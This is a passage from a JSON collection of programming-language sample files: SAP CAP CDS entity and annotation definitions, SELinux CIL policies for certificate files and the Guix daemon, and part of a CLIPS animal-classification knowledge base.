String(255);\n\n\n/*\n * Aspects for extensible entities.\n */\naspect extensible {\n    @cds.api.ignore extensions__ : String\n};\n\n//---------------------------------------------------------------------------\n// Annotations for Fiori UIs...\n\nannotate sap.common.CodeList with @UI.Identification : [{Value:name}];\nannotate sap.common.CodeList with @cds.odata.valuelist;\n\nannotate managed with {\n  createdAt  @UI.HiddenFilter;\n  createdBy  @UI.HiddenFilter;\n  modifiedAt @UI.HiddenFilter;\n  modifiedBy @UI.HiddenFilter;\n}\n\nannotate managed with {\n  createdAt  @Core.Immutable;\n  createdBy  @Core.Immutable;\n}\n\nannotate sap.common.Countries  with { code @Common.Text:name; }\nannotate sap.common.Currencies with { code @Common.Text:name; }\nannotate sap.common.Languages  with { code @Common.Text:name; }\n\n\n//---------------------------------------------------------------------------\n// Common Annotations...\n\nannotate Language with @(\n  title       : '{i18n>Language}',\n  description : '{i18n>LanguageCode.Description}'\n);\n\nannotate Currency with @(\n  title       : '{i18n>Currency}',\n  description : '{i18n>CurrencyCode.Description}'\n);\n\nannotate Country with @(\n  title       : '{i18n>Country}',\n  description : '{i18n>CountryCode.Description}'\n);\n\nannotate User with @(\n  title       : '{i18n>UserID}',\n  description : '{i18n>UserID.Description}'\n);\n\nannotate managed with {\n  createdAt  @title : '{i18n>CreatedAt}';\n  createdBy  @title : '{i18n>CreatedBy}';\n  modifiedAt @title : '{i18n>ChangedAt}';\n  modifiedBy @title : '{i18n>ChangedBy}';\n}\n\n\n//---------------------------------------------------------------------------\n// Temporary Workarounds...\n// REVISIT: @cds.on... should automatically result in @readonly @Core.Computed\n\nannotate managed with {\n  modifiedAt @readonly;\n  createdAt  @readonly;\n  createdBy  @readonly;\n  modifiedBy @readonly;\n}\n\n//---------------------------------------------------------------------------\n"
  },
  {
    "path": "samples/CAP CDS/schema.cds",
    "content": "using { Currency, managed, sap } from '@sap/cds/common';\nnamespace sap.capire.bookshop;\n\nentity Books : managed {\n  key ID : Integer;\n  title  : localized String(111);\n  descr  : localized String(1111);\n  author : Association to Authors;\n  genre  : Association to Genres;\n  stock  : Integer;\n  price  : Decimal;\n  currency : Currency;\n  image : LargeBinary @Core.MediaType : 'image/png';\n}\n\nentity Authors : managed {\n  key ID : Integer;\n  name   : String(111);\n  dateOfBirth  : Date;\n  dateOfDeath  : Date;\n  placeOfBirth : String;\n  placeOfDeath : String;\n  books  : Association to many Books on books.author = $self;\n}\n\n/** Hierarchically organized Code List for Genres */\nentity Genres : sap.common.CodeList {\n  key ID   : Integer;\n  parent   : Association to Genres;\n  children : Composition of many Genres on children.parent = $self;\n}\n"
  },
  {
    "path": "samples/CAP CDS/user-service.cds",
    "content": "/**\n * Exposes user information\n */\n@requires: 'authenticated-user'\nservice UserService {\n\n  /**\n   * The current user\n   */\n  @odata.singleton entity me {\n    id     : String; // user id\n    locale : String;\n    tenant : String;\n  }\n\n}\n"
  },
  {
    "path": "samples/CIL/certfile.cil",
    "content": ";; -*- mode: CIL; fill-column: 79; indent-tabs-mode: nil; -*-\n;; SPDX-FileCopyrightText: © 2021 Dominick Grift <dominick.grift@defensec.nl>\n;; SPDX-License-Identifier: Unlicense\n\n(in .file\n\n    (block cert\n\n           ;;\n           ;; Policy\n           ;;\n\n           (blockinherit file.obj_all_macro_template)\n\n           (call file.obj_type (obj_typeattr))\n\n           (call .xattr.associate_filesystems (obj_typeattr))\n\n           ;;\n           ;; Templates\n           ;;\n\n           (block obj_base_template\n\n                  ;;\n                  ;; Contexts\n                  ;;\n\n                  (context\n                   certfile_file_context\n                   (.u\n                    .r\n                    certfile\n                    (systemlow\n                     systemlow)))\n\n                  ;;\n                  ;; Policy\n                  ;;\n\n                  (blockabstract obj_base_template)\n\n                  (type\n                   certfile)\n\n                  (call .file.cert.obj_type (certfile)))\n\n           (block obj_macro_template\n\n                  ;;\n                  ;; Macros\n                  ;;\n\n                  (macro addname_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile addname_dir))\n\n                  (macro append_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile append_blk_file))\n\n                  (macro append_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile append_chr_file))\n\n                  (macro append_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile append_fifo_file))\n\n                  (macro append_certfile_files ((type ARG1))\n                         (allow ARG1 certfile append_file))\n\n                  (macro appendinherited_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile appendinherited_blk_file))\n\n                  (macro appendinherited_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile appendinherited_chr_file))\n\n                  (macro appendinherited_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile appendinherited_fifo_file))\n\n                  (macro appendinherited_certfile_files ((type ARG1))\n                         (allow ARG1 certfile appendinherited_file))\n\n                  (macro certfile_obj_type_transition\n                         ((type ARG1)(type ARG2)(class ARG3)(name ARG4))\n                         (typetransition ARG1 certfile ARG3 ARG4 ARG2)\n                         (call addname_certfile_dirs (ARG1)))\n\n                  (macro create_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (create))))\n\n                  (macro create_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile create_blk_file))\n\n                  (macro create_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile create_chr_file))\n\n                  (macro create_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile create_dir))\n\n                  (macro create_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile create_fifo_file))\n\n                  (macro create_certfile_files ((type ARG1))\n                         (allow ARG1 certfile create_file))\n\n                  (macro create_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile create_lnk_file))\n\n                  (macro create_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile create_sock_file))\n\n                  (macro deletename_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile deletename_dir))\n\n                  (macro delete_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (delete))))\n\n                  (macro delete_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile delete_blk_file))\n\n                  (macro delete_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile delete_chr_file))\n\n                  (macro delete_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile delete_dir))\n\n                  (macro delete_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile delete_fifo_file))\n\n                  (macro delete_certfile_files ((type ARG1))\n                         (allow ARG1 certfile delete_file))\n\n                  (macro delete_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile delete_lnk_file))\n\n                  (macro delete_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile delete_sock_file))\n\n                  (macro execute_certfile_files ((type ARG1))\n                         (allow ARG1 certfile execute_file))\n\n                  (macro list_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile list_dir))\n\n                  (macro listinherited_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile listinherited_dir))\n\n                  (macro load_certfile_files ((type ARG1))\n                         (allow ARG1 certfile (system (module_load))))\n\n                  (macro manage_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (manage))))\n\n                  (macro manage_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile manage_blk_file))\n\n                  (macro manage_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile manage_chr_file))\n\n                  (macro manage_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile manage_dir))\n\n                  (macro manage_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile manage_fifo_file))\n\n                  (macro manage_certfile_files ((type ARG1))\n                         (allow ARG1 certfile manage_file))\n\n                  (macro manage_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile manage_lnk_file))\n\n                  (macro manage_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile manage_sock_file))\n\n                  (macro mapexecute_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile mapexecute_chr_file))\n\n                  (macro mapexecute_certfile_files ((type ARG1))\n                         (allow ARG1 certfile mapexecute_file))\n\n                  (macro mounton_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (mounton))))\n\n                  (macro mounton_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile mounton_blk_file))\n\n                  (macro mounton_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile mounton_chr_file))\n\n                  (macro mounton_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile mounton_dir))\n\n                  (macro mounton_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile mounton_fifo_file))\n\n                  (macro mounton_certfile_files ((type ARG1))\n                         (allow ARG1 certfile mounton_file))\n\n                  (macro mounton_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile mounton_lnk_file))\n\n                  (macro mounton_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile mounton_sock_file))\n\n                  (macro read_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (read))))\n\n                  (macro read_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile read_blk_file))\n\n                  (macro read_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile read_chr_file))\n\n                  (macro read_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile read_fifo_file))\n\n                  (macro read_certfile_files ((type ARG1))\n                         (allow ARG1 certfile read_file))\n\n                  (macro readinherited_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile readinherited_blk_file))\n\n                  (macro readinherited_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile readinherited_chr_file))\n\n                  (macro readinherited_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile readinherited_fifo_file))\n\n                  (macro readinherited_certfile_files ((type ARG1))\n                         (allow ARG1 certfile readinherited_file))\n\n                  (macro readinherited_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile readinherited_sock_file))\n\n                  (macro read_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile read_lnk_file))\n\n                  (macro read_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile read_sock_file))\n\n                  (macro readwrite_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (readwrite))))\n\n                  (macro readwrite_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile readwrite_blk_file))\n\n                  (macro readwrite_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile readwrite_chr_file))\n\n                  (macro readwrite_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile readwrite_dir))\n\n                  (macro readwrite_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile readwrite_fifo_file))\n\n                  (macro readwrite_certfile_files ((type ARG1))\n                         (allow ARG1 certfile readwrite_file))\n\n                  (macro readwriteinherited_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile readwriteinherited_blk_file))\n\n                  (macro readwriteinherited_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile readwriteinherited_chr_file))\n\n                  (macro readwriteinherited_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile readwriteinherited_dir))\n\n                  (macro readwriteinherited_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile readwriteinherited_fifo_file))\n\n                  (macro readwriteinherited_certfile_files ((type ARG1))\n                         (allow ARG1 certfile readwriteinherited_file))\n\n                  (macro readwriteinherited_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile readwriteinherited_sock_file))\n\n                  (macro readwrite_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile readwrite_lnk_file))\n\n                  (macro readwrite_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile readwrite_sock_file))\n\n                  (macro relabel_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (relabel))))\n\n                  (macro relabel_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile relabel_blk_file))\n\n                  (macro relabel_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile relabel_chr_file))\n\n                  (macro relabel_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile relabel_dir))\n\n                  (macro relabel_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile relabel_fifo_file))\n\n                  (macro relabel_certfile_files ((type ARG1))\n                         (allow ARG1 certfile relabel_file))\n\n                  (macro relabel_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile relabel_lnk_file))\n\n                  (macro relabel_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile relabel_sock_file))\n\n                  (macro relabelfrom_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (relabelfrom))))\n\n                  (macro relabelfrom_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile relabelfrom_blk_file))\n\n                  (macro relabelfrom_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile relabelfrom_chr_file))\n\n                  (macro relabelfrom_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile relabelfrom_dir))\n\n                  (macro relabelfrom_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile relabelfrom_fifo_file))\n\n                  (macro relabelfrom_certfile_files ((type ARG1))\n                         (allow ARG1 certfile relabelfrom_file))\n\n                  (macro relabelfrom_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile relabelfrom_lnk_file))\n\n                  (macro relabelfrom_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile relabelfrom_sock_file))\n\n                  (macro relabelto_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (relabelto))))\n\n                  (macro relabelto_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile relabelto_blk_file))\n\n                  (macro relabelto_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile relabelto_chr_file))\n\n                  (macro relabelto_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile relabelto_dir))\n\n                  (macro relabelto_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile relabelto_fifo_file))\n\n                  (macro relabelto_certfile_files ((type ARG1))\n                         (allow ARG1 certfile relabelto_file))\n\n                  (macro relabelto_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile relabelto_lnk_file))\n\n                  (macro relabelto_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile relabelto_sock_file))\n\n                  (macro rename_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (rename))))\n\n                  (macro rename_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile rename_blk_file))\n\n                  (macro rename_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile rename_chr_file))\n\n                  (macro rename_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile rename_dir))\n\n                  (macro rename_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile rename_fifo_file))\n\n                  (macro rename_certfile_files ((type ARG1))\n                         (allow ARG1 certfile rename_file))\n\n                  (macro rename_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile rename_lnk_file))\n\n                  (macro rename_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile rename_sock_file))\n\n                  (macro search_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile search_dir))\n\n                  (macro write_certfile ((type ARG1))\n                         (allow ARG1 certfile (allfiles (write))))\n\n                  (macro write_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile write_blk_file))\n\n                  (macro write_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile write_chr_file))\n\n                  (macro write_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile write_dir))\n\n                  (macro write_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile write_fifo_file))\n\n                  (macro write_certfile_files ((type ARG1))\n                         (allow ARG1 certfile write_file))\n\n                  (macro writeinherited_certfile_blk_files ((type ARG1))\n                         (allow ARG1 certfile writeinherited_blk_file))\n\n                  (macro writeinherited_certfile_chr_files ((type ARG1))\n                         (allow ARG1 certfile writeinherited_chr_file))\n\n                  (macro writeinherited_certfile_dirs ((type ARG1))\n                         (allow ARG1 certfile writeinherited_dir))\n\n                  (macro writeinherited_certfile_fifo_files ((type ARG1))\n                         (allow ARG1 certfile writeinherited_fifo_file))\n\n                  (macro writeinherited_certfile_files ((type ARG1))\n                         (allow ARG1 certfile writeinherited_file))\n\n                  (macro writeinherited_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile writeinherited_sock_file))\n\n                  (macro write_certfile_lnk_files ((type ARG1))\n                         (allow ARG1 certfile write_lnk_file))\n\n                  (macro write_certfile_sock_files ((type ARG1))\n                         (allow ARG1 certfile write_sock_file))\n\n                  ;;\n                  ;; Policy\n                  ;;\n\n                  (blockabstract obj_macro_template))\n\n           (block obj_template\n\n                  ;;\n                  ;; Policy\n                  ;;\n\n                  (blockabstract obj_template)\n\n                  (blockinherit .file.cert.obj_base_template)\n                  (blockinherit .file.cert.obj_macro_template))\n\n           (block except\n\n                  ;;\n                  ;; Policy\n                  ;;\n\n                  (blockinherit obj_all_macro_template)\n\n                  (typeattributeset\n                   obj_typeattr\n                   (and\n                    cert.obj_typeattr\n                    (not\n                     (exception.obj_typeattr))))\n\n                  (optional certfile_opt_sandbox\n                            (call .file.sandboxexception.obj_type\n                                  (obj_typeattr))))\n\n           (block exception\n\n                  ;;\n                  ;; Policy\n                  ;;\n\n                  (blockinherit obj_all_macro_template))))\n"
  },
  {
    "path": "samples/CIL/guix-daemon.cil",
    "content": ";;; GNU Guix --- Functional package management for GNU\n;;; Copyright © 2018 Ricardo Wurmus <rekado@elephly.net>\n;;;\n;;; This file is part of GNU Guix.\n;;;\n;;; GNU Guix is free software; you can redistribute it and/or modify it\n;;; under the terms of the GNU General Public License as published by\n;;; the Free Software Foundation; either version 3 of the License, or (at\n;;; your option) any later version.\n;;;\n;;; GNU Guix is distributed in the hope that it will be useful, but\n;;; WITHOUT ANY WARRANTY; without even the implied warranty of\n;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n;;; GNU General Public License for more details.\n;;;\n;;; You should have received a copy of the GNU General Public License\n;;; along with GNU Guix.  If not, see <http://www.gnu.org/licenses/>.\n\n;; This is a specification for SELinux 2.7 written in the SELinux Common\n;; Intermediate Language (CIL).  It refers to types that must be defined in\n;; the system's base policy.\n\n(block guix_daemon\n  ;; Require existing types\n  (typeattributeset cil_gen_require init_t)\n  (typeattributeset cil_gen_require tmp_t)\n  (typeattributeset cil_gen_require nscd_var_run_t)\n  (typeattributeset cil_gen_require var_log_t)\n  (typeattributeset cil_gen_require domain)\n\n  ;; Declare own types\n  (type guix_daemon_t)\n  (roletype object_r guix_daemon_t)\n  (type guix_daemon_conf_t)\n  (roletype object_r guix_daemon_conf_t)\n  (type guix_daemon_exec_t)\n  (roletype object_r guix_daemon_exec_t)\n  (type guix_daemon_socket_t)\n  (roletype object_r guix_daemon_socket_t)\n  (type guix_store_content_t)\n  (roletype object_r guix_store_content_t)\n  (type guix_profiles_t)\n  (roletype object_r guix_profiles_t)\n\n  ;; These types are domains, thereby allowing process rules\n  (typeattributeset domain (guix_daemon_t guix_daemon_exec_t))\n\n  (level low (s0))\n\n  ;; When a process in init_t or guix_store_content_t spawns a\n  ;; guix_daemon_exec_t process, let it run in the guix_daemon_t context\n  (typetransition init_t guix_daemon_exec_t\n                  process guix_daemon_t)\n  (typetransition guix_store_content_t guix_daemon_exec_t\n                  process guix_daemon_t)\n\n  ;; Permit communication with NSCD\n  (allow guix_daemon_t\n         nscd_var_run_t\n         (file (map read)))\n  (allow guix_daemon_t\n         nscd_var_run_t\n         (dir (search)))\n  (allow guix_daemon_t\n         nscd_var_run_t\n         (sock_file (write)))\n  (allow guix_daemon_t\n         nscd_t\n         (fd (use)))\n  (allow guix_daemon_t\n         nscd_t\n         (unix_stream_socket (connectto)))\n\n  ;; Permit logging and temp file access\n  (allow guix_daemon_t\n         tmp_t\n         (lnk_file (setattr unlink)))\n  (allow guix_daemon_t\n         tmp_t\n         (dir (create\n               rmdir\n               add_name remove_name\n               open read write\n               getattr setattr\n               search)))\n  (allow guix_daemon_t\n         var_log_t\n         (file (create getattr open write)))\n  (allow guix_daemon_t\n         var_log_t\n         (dir (getattr write add_name)))\n  (allow guix_daemon_t\n         var_run_t\n         (lnk_file (read)))\n  (allow guix_daemon_t\n         var_run_t\n         (dir (search)))\n\n  ;; Spawning processes, execute helpers\n  (allow guix_daemon_t\n         self\n         (process (fork)))\n  (allow guix_daemon_t\n         guix_daemon_exec_t\n         (file (execute execute_no_trans read open)))\n\n  ;; TODO: unknown\n  (allow guix_daemon_t\n         root_t\n         (dir (mounton)))\n  (allow guix_daemon_t\n         fs_t\n         (filesystem (getattr)))\n  (allow guix_daemon_conf_t\n         fs_t\n         (filesystem (associate)))\n\n  ;; Build isolation\n  (allow guix_daemon_t\n         guix_store_content_t\n         (file (mounton)))\n  (allow guix_store_content_t\n         fs_t\n         (filesystem (associate)))\n  (allow guix_daemon_t\n         guix_store_content_t\n         (dir (mounton)))\n  (allow guix_daemon_t\n         guix_daemon_t\n         (capability (net_admin\n                      fsetid fowner\n                      chown setuid setgid\n                      dac_override dac_read_search\n                      sys_chroot)))\n  (allow guix_daemon_t\n         fs_t\n         (filesystem (unmount)))\n  (allow guix_daemon_t\n         devpts_t\n         (filesystem (mount)))\n  (allow guix_daemon_t\n         devpts_t\n         (chr_file (setattr getattr)))\n  (allow guix_daemon_t\n         tmpfs_t\n         (filesystem (mount)))\n  (allow guix_daemon_t\n         tmpfs_t\n         (dir (getattr)))\n  (allow guix_daemon_t\n         proc_t\n         (filesystem (mount)))\n  (allow guix_daemon_t\n         null_device_t\n         (chr_file (getattr open read write)))\n  (allow guix_daemon_t\n         kvm_device_t\n         (chr_file (getattr)))\n  (allow guix_daemon_t\n         zero_device_t\n         (chr_file (getattr)))\n  (allow guix_daemon_t\n         urandom_device_t\n         (chr_file (getattr)))\n  (allow guix_daemon_t\n         random_device_t\n         (chr_file (getattr)))\n  (allow guix_daemon_t\n         devtty_t\n         (chr_file (getattr)))\n\n  ;; Access to store items\n  (allow guix_daemon_t\n         guix_store_content_t\n         (dir (reparent\n               create\n               getattr setattr\n               search rename\n               add_name remove_name\n               open write\n               rmdir)))\n  (allow guix_daemon_t\n         guix_store_content_t\n         (file (create\n                lock\n                setattr getattr\n                execute execute_no_trans\n                link unlink\n                map\n                rename\n                open read write)))\n  (allow guix_daemon_t\n         guix_store_content_t\n         (lnk_file (create\n                    getattr setattr\n                    link unlink\n                    read\n                    rename)))\n\n  ;; Access to configuration files and directories\n  (allow guix_daemon_t\n         guix_daemon_conf_t\n         (dir (search\n               setattr getattr\n               add_name remove_name\n               open read write)))\n  (allow guix_daemon_t\n         guix_daemon_conf_t\n         (file (create\n                lock\n                map\n                getattr setattr\n                unlink\n                open read write)))\n  (allow guix_daemon_t\n         guix_daemon_conf_t\n         (lnk_file (create getattr rename unlink)))\n\n  ;; Access to profiles\n  (allow guix_daemon_t\n         guix_profiles_t\n         (dir (getattr setattr read open)))\n  (allow guix_daemon_t\n         guix_profiles_t\n         (lnk_file (read getattr)))\n\n  ;; Access to profile links in the home directory\n  ;; TODO: allow access to profile links *anywhere* on the filesystem\n  (allow guix_daemon_t\n         user_home_t\n         (lnk_file (read getattr)))\n  (allow guix_daemon_t\n         user_home_t\n         (dir (search)))\n\n  ;; Socket operations\n  (allow guix_daemon_t\n         init_t\n         (fd (use)))\n  (allow guix_daemon_t\n         init_t\n         (unix_stream_socket (write)))\n  (allow guix_daemon_t\n         guix_daemon_conf_t\n         (unix_stream_socket (listen)))\n  (allow guix_daemon_t\n         guix_daemon_conf_t\n         (sock_file (create unlink)))\n  (allow guix_daemon_t\n         self\n         (unix_stream_socket (create\n                              read write\n                              connect bind accept\n                              getopt setopt)))\n  (allow guix_daemon_t\n         self\n         (fifo_file (write read)))\n  (allow guix_daemon_t\n         self\n         (udp_socket (ioctl create)))\n\n  ;; Label file system\n  (filecon \"/usr/local/etc/guix(/.*)?\"\n           any (system_u object_r guix_daemon_conf_t (low low)))\n  (filecon \"/var/guix(/.*)?\"\n           any (system_u object_r guix_daemon_conf_t (low low)))\n  (filecon \"/var/guix/profiles(/.*)?\"\n           any (system_u object_r guix_profiles_t (low low)))\n  (filecon \"/gnu\"\n           dir (unconfined_u object_r guix_store_content_t (low low)))\n  (filecon \"/gnu/store(/.+)?\"\n           any (unconfined_u object_r guix_store_content_t (low low)))\n  (filecon \"/gnu/store/[^/]+/.+\"\n           any (unconfined_u object_r guix_store_content_t (low low)))\n  (filecon \"/usr/local/bin/guix-daemon\"\n           file (system_u object_r guix_daemon_exec_t (low low)))\n  (filecon \"/gnu/store/.+-(guix-.+|profile)/bin/guix-daemon\"\n           file (system_u object_r guix_daemon_exec_t (low low)))\n  (filecon \"/var/guix/daemon-socket/socket\"\n           any (system_u object_r guix_daemon_socket_t (low low))))\n"
  },
  {
    "path": "samples/CLIPS/demo.clp",
    "content": ";;;***************************\n;;;* DEFFACTS KNOWLEDGE BASE *\n;;;***************************\n\n(deffacts MAIN::knowledge-base\n   (welcome (message WelcomeMessage))\n   (goal (variable type.animal))\n   (legalanswers (values yes no))\n   (displayanswers (values \"Yes\" \"No\"))\n   (rule (if backbone is yes) \n         (then superphylum is backbone))\n   (rule (if backbone is no) \n         (then superphylum is jellyback))\n   (question (variable backbone)\n             (query backbone.query))\n   (rule (if superphylum is backbone and\n          warm.blooded is yes) \n         (then phylum is warm))\n   (rule (if superphylum is backbone and\n          warm.blooded is no) \n         (then phylum is cold))\n   (question (variable warm.blooded)\n             (query warm.blooded.query))\n   (rule (if superphylum is jellyback and\n          live.prime.in.soil is yes) \n         (then phylum is soil))\n   (rule (if superphylum is jellyback and\n          live.prime.in.soil is no) \n         (then phylum is elsewhere))\n   (question (variable live.prime.in.soil)\n             (query live.prime.in.soil.query))\n   (rule (if phylum is warm and\n          has.breasts is yes) \n         (then class is breasts))\n   (rule (if phylum is warm and\n          has.breasts is no) \n         (then type.animal is bird))\n   (question (variable has.breasts)\n             (query has.breasts.query))\n   (rule (if phylum is cold and\n          always.in.water is yes) \n         (then class is water))\n   (rule (if phylum is cold and\n          always.in.water is no) \n         (then class is dry))\n   (question (variable always.in.water)\n             (query always.in.water.query))\n   (rule (if phylum is soil and\n          flat.bodied is yes) \n         (then type.animal is flatworm))\n   (rule (if phylum is soil and\n          flat.bodied is no) \n         (then type.animal is worm.leech))\n   (question (variable flat.bodied)\n             (query flat.bodied.query))\n   (rule (if phylum is elsewhere and\n          body.in.segments is yes) \n         (then class is segments))\n   (rule (if phylum is elsewhere and\n          body.in.segments is no) \n         (then class is unified))\n   (question (variable body.in.segments)\n             (query body.in.segments.query))\n   (rule (if class is breasts and\n          can.eat.meat is yes) \n         (then order is meat))\n   (rule (if class is breasts and\n          can.eat.meat is no) \n         (then order is vegy))\n   (question (variable can.eat.meat)\n             (query can.eat.meat.query))\n   (rule (if class is water and\n          boney is yes) \n         (then type.animal is fish))\n   (rule (if class is water and\n          boney is no) \n         (then type.animal is shark.ray))\n   (question (variable boney)\n             (query boney.query))\n   (rule (if class is dry and\n          scaly is yes) \n         (then order is scales))\n   (rule (if class is dry and\n          scaly is no) \n         (then order is soft))\n   (question (variable scaly)\n             (query scaly.query))\n   (rule (if class is segments and\n          shell is yes) \n         (then order is shell))\n   (rule (if class is segments and\n          shell is no) \n         (then type.animal is centipede.millipede.insect))\n   (question (variable shell)\n             (query shell.query))\n   (rule (if class is unified and\n          digest.cells is yes) \n         (then order is cells))\n   (rule (if class is unified and\n          digest.cells is no) \n         (then order is stomach))\n   (question (variable digest.cells)\n             (query digest.cells.query))\n   (rule (if order is meat and\n          fly is yes) \n         (then type.animal is bat))\n   (rule (if order is meat and\n          fly is no) \n         (then family is nowings))\n   (question (variable fly)\n             (query fly.query))\n   (rule (if order is vegy and\n          hooves is yes) \n         (then family is hooves))\n   (rule (if order is vegy and\n          hooves is no) \n         (then family is feet))\n   (question (variable hooves)\n             (query hooves.query))\n   (rule (if order is scales and\n          rounded.shell is yes) \n         (then type.animal is turtle))\n   (rule (if order is scales and\n          rounded.shell is no) \n         (then family is noshell))\n   (question (variable rounded.shell)\n             (query rounded.shell.query))\n   (rule (if order is soft and\n          jump is yes) \n         (then type.animal is frog))\n   (rule (if order is soft and\n          jump is no) \n         (then type.animal is salamander))\n   (question (variable jump)\n             (query jump.query))\n   (rule (if order is shell and\n          tail is yes) \n         (then type.animal is lobster))\n   (rule (if order is shell and\n          tail is no) \n         (then type.animal is crab))\n   (question (variable tail)\n             (query tail.query))\n   (rule (if order is cells and\n          stationary is yes) \n         (then family is stationary))\n   (rule (if order is cells and\n          stationary is no) \n         (then type.animal is jellyfish))\n   (question (variable stationary)\n             (query stationary.query))\n   (rule (if order is stomach and\n          multicelled is yes) \n         (then family is multicelled))\n   (rule (if order is stomach and\n          multicelled is no) \n         (then type.animal is protozoa))\n   (question (variable multicelled)\n             (query multicelled.query))\n   (rule (if family is nowings and\n          opposing.thumb is yes) \n         (then genus is thumb))\n   (rule (if family is nowings and\n          opposing.thumb is no) \n         (then genus is nothumb))\n   (question (variable opposing.thumb)\n             (query opposing.thumb.query))\n   (rule (if family is hooves and\n          two.toes is yes) \n         (then genus is twotoes))\n   (rule (if family is hooves and\n          two.toes is no) \n         (then genus is onetoe))\n   (question (variable two.toes)\n             (query two.toes.query))\n   (rule (if family is feet and\n          live.in.water is yes) \n         (then genus is water))\n   (rule (if family is feet and\n          live.in.water is no) \n         (then genus is dry))\n   (question (variable live.in.water)\n             (query live.in.water.query))\n   (rule (if family is noshell and\n          limbs is yes) \n         (then type.animal is crocodile.alligator))\n   (rule (if family is noshell and\n          limbs is no) \n         (then type.animal is snake))\n   (question (variable limbs)\n             (query limbs.query))\n   (rule (if family is stationary and\n       